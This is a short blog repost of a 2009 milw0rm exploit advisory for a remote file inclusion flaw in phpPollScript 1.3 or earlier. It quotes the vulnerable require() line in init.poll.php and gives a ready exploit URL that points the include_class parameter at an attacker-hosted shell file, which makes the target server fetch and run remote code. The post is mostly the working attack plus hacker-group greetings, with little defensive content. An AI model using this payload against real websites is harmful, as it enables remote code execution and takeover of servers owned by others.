Kamis, 17 September 2009

phpPollScript <= 1.3 Remote File Include Vulnerability

########################################################################
#phpPollScript <= 1.3 Remote File Include Vulnerability
#Download Script : http://download.tomex.org/phpPollScriptv13b.zip
#Author : cr4wl3r
#Contact : cr4wl3r[4t]linuxmail[dot]org
#Location : Gorontalo - INDONESIA
########################################################################
#file :
# init.poll.php
# line 2 $inc_path = dirname($include_class);
# line 3 require ($inc_path."/voting.poll.php");
########################################################################
#3xplo!t :
#http://target.com/[path]/php/init.poll.php?include_class=http://attacker.com/shell.txt/test/
########################################################################
#Greetz : MyMom [alm]
#Thanks 2 : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-16]

0 komentar: